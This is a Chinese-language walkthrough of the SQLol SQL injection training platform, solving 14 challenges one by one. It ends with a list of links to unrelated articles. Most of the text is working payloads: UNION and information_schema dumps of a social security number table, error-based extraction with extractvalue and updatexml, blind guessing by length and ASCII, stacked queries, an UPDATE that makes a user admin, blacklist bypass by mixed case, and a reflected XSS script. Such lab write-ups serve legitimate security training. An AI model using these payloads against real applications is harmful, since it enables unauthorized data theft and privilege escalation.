SQLol上面的挑战共有14关,接下来我们一关一关来突破。

Challenge 0

目的是让查询返回所有的用户名,而不是只有一个。

SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC

注入点在【1】处

构造POC:  1' or 1=1# 或者 1' and 1=2 union select username from users#

都可以查询到所有的用户名。

Challenge 1

目标是找到数据库中存在的社会安全号码表并提取信息。

SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC

注入点在【1】处,我们需要知道有哪些表哪些字段,才能找出所想要的信息,为此,我们使用information_schema进行查表查列。

构造POC:

查出数据库所有的库,      ' and 1=2 UNION SELECT table_schema FROM information_schema.tables#

选择sqlol库查表,           ' and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema='sqlol'#

选择表,查列,              ' and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name='ssn'#

选择字段,查数据,       ' UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已经得到所想要的信息。

Challenge 2

目标是找到数据库中存在的社会安全号码表并提取信息。

SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC

注入点在【1】处,与challenge1类似,所不同的,这是数字型注入,过滤单引号。

构造POC:

查出数据库所有的库,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#

选择sqlol库查表,     1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex编码)

选择表,查列,         1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex编码)

选择字段,查数据,  1 and 1=2 UNION SELECT concat(name, 0x7e, ssn)  FROM ssn#

到此,已经得到所想要的信息。

Challenge 3

目标是找到数据库中存在的社会安全号码表并提取信息。

无提示,只输出一行,详细错误信息,查询不显示,与challenge 1类似。

构造POC:

' UNION SELECT concat(name,':',ssn) FROM ssn LIMIT 0,1

Challenge 4

目的是找出数据库中存在的社会安全号码表,并提取其信息,无盲SQL注入技术。

提示,有详细的错误,可以使用报错注入

构造POC:

' and extractvalue(1, concat(0x5c,(select user())))#

' AND ExtractValue(1,concat(0x01,(select concat(name,':',ssn) from ssn limit 0,1)))#

Challenge 5

目标是找到数据库中存在的社会安全号码表并提取信息。

提示,使用盲注,无输入错误信息

构造POC:

得到数据库的长度: 1' or  length(database())=5#

逐字猜解ascii码: 1' or  ascii(mid(database(),1,1))=115#

慢慢猜,总会猜出来的,大致方法就这个。

Challenge 6

目标是创建一个新表称为“ipwntyourdb”使用堆叠的查询。

构造POC:

SELECT username FROM users WHERE username = 'Herp Derper';create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC

Challenge 7

目标是找到数据库中存在的社会安全号码表,并从数据库中删除任何内容,以提取其信息。

提示:删除,报错,查询不显示

POC:

DELETE FROM users WHERE username = '' or updatexml(1,concat(0x7e,(version()),0x7e),0) or''

 

Challenge 8

目标找到数据库中存在的社会安全号码表并提取信息。

提示:有黑名单过滤,需绕过,过滤了union,select,where,and,or,--,#等字符。

POC:

' uNion seLect concat(name,':',ssn) from ssn uNion selEct null from users whEre username='

Challenge 9

目的是注入查询并导致其更新ID为3的用户”isadmin”更改为1。

UPDATE users SET isadmin = 1 WHERE id = 3

如何把这句拼接到原有注入点,并执行成功呢?

POC:

UPDATE users SET username = 'admin', isadmin = 1 WHERE id = 3#

更新ID为3的username为admin,并把isadmin改为1.

Challenge 10

目标是从数据库中获取社会安全号码。

提示:注入点在【1】处,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

POC:

seLect concat(name,':',ssn) from ssn#

Challenge 11

目标是从数据库中获取社会安全号码。

POC:

SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC

Challenge 12

目的是使用一个SQL注入漏洞执行反射跨站脚本攻击。

POC:

1' and <script>alert(11)</script>#

SELECT username FROM users WHERE username = ' 1' and <script>alert(11)</script>#' GROUP BY username ORDER BY username ASC

执行过程中,会报错,弹窗,然后提示如下:

SELECT username FROM users WHERE username = '1' and #' GROUP BY username ORDER BY username ASC

JavaScript脚本已经成功在浏览器运行。

Challenge 13

目的是从数据库检索所有的用户名。

POC:

在没有过滤单引号的情况下:select username from users where username LIKE '2' or 1=1

过滤了单引号:

通过模糊查询的方法来盲注,

%,表示任意0个或多个字符

_,表示任意单个字符

[],表示字符括号中所列字符的一个

[^],不在这里的所列字符

根据页面返回是否正确得到判断。

1、得到username的一个首字符

select username from users where username LIKE 'P%' LIMIT 0,1

2、判断以P开头的首字符有几位

select username from users where username LIKE 'P__________' LIMIT 0,1

3、接着往下猜解呗。。。。

SQL注入测试平台 SQLol -6.CHALLENGES挑战的更多相关文章

  1. SQL注入测试平台 SQLol -1. 简介与安装

    最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...

  2. SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...

  3. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  4. SQL注入测试平台 SQLol -5.DELETE注入测试

    访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...

  5. SQL注入测试平台 SQLol -4.UPDATE注入测试

    访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试. update语法: UPDATE [users] SET [username ...

  6. java web sql注入测试(1)---概念概述

    在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...

  7. sql注入测试(1)---概念概述

    在进行java web 测试时,经常会忽略的测试种类就是sql注入测试,这类缺陷造成的原因是开发技术在这方面欠缺的表现,虽然不常见,但一旦有这类缺陷,就很因此对运营的数据造成很多不必要的损失,所以,还 ...

  8. java web sql注入测试(3)---现象分析

    那为什么出现以上问题呢?这是程序代码层控制不当导致的.如果web前端对输入数据控制严格,会对数据库进行操作的字符串,在客户端做敏感字符转义处理,或者在操作数据库的dao层,使用动态参数的sql,不使用 ...

  9. sql注入测试(3)---现象分析

    那为什么出现以上问题呢?这是程序代码层控制不当导致的.如果web前端对输入数据控制严格,会对数据库进行操作的字符串,在客户端做敏感字符转义处理,或者在操作数据库的dao层,使用动态参数的sql,不使用 ...

随机推荐

  1. BindingNavigator操作DatagridView的数据

    参考 http://wenku.baidu.com/link?url=NWfEfArPZvDO_aI-xEKBHVGoZY9wQO_Oty_GCsGLiPspheCzFYLf_dytuWAqN2_0A ...

  2. zatree第三方插件

    Zabbix安装第三方插件zatree2.4.5 1.下载zatree第三方插件https://github.com/spide4k/zatree.git 2.检查PHP环境需要支持php-xml.p ...

  3. debug实战:进程Hang+High CPU

    最近几周都在解决程序不稳定的问题,具体表现为程序(多进程)时不时的Hang住,同时伴随某个进程的High CPU.跟踪下来,基本都是各种死锁引起的.这里选取一个典型的场景进行分析. 1.抓dump分析 ...

  4. NOIP 2013 提高组 day1 T2 火柴排队 归并 逆序对

    描述 涵涵有两盒火柴,每盒装有 n 根火柴,每根火柴都有一个高度.现在将每盒中的火柴各自排成一列,同一列火柴的高度互不相同,两列火柴之间的距离定义为:∑i=1n(ai−bi)2∑i=1n(ai−bi) ...

  5. bzoj 1185 旋转卡壳 最小矩形覆盖

    题目大意 就是求一个最小矩形覆盖,逆时针输出其上面的点 这里可以看出,那个最小的矩形覆盖必然有一条边经过其中凸包上的两个点,另外三条边必然至少经过其中一个点,而这样的每一个点逆时针走一遍都满足单调性 ...

  6. HDU 4548

    题意: 给你一个区间,问你这个区间中的数既是素数又是美素数的数有多少个?美素数:首先这个数本身必须是素数并且它的各位数字的和也是素数; 如29,本身是素数, 而且2+9 = 11也是素数, 所以它是美 ...

  7. 关于强制类型转换(c语言)

    因为今天看的代码中用到了结构体的强制类型转换,就很想了解一下结构体的强制类型转换是怎样的. 一个结构体如下: 在下面这段代码中rbuf->reqCmdBuf是一个空指针,首先将这个空指针赋值给一 ...

  8. Cannot change network to bridged: There are no un-bridged host network adapters解决方法

    首先,在你安装上了虚拟机后要确保你也安装了桥接的协议,这可以通过点击右键“网上邻居”,在其中可以看到有两个虚拟出来的网络一个VMnet1,另一个是VMnet8, 如下图所示. 如果没有安装,可以通过下 ...

  9. 立体透视 perspective transform-style 倾斜旋转

    1.perspective 是设置镜头距离,距离越远视图越小,视图越近,视图越大.就像相机焦距一样.其只对子元素产生效果. 2.transform-style: preserve-3d 设置3d效果, ...

  10. [转]dev C++编写windows程序遇到问题

    1.工具-编译选项-编译器-在连接器命令行加入以下命令: -mwindows 2.出现错误:undefined reference to `PlaySoundA@12' 解决办法:工具-编译选项-编译 ...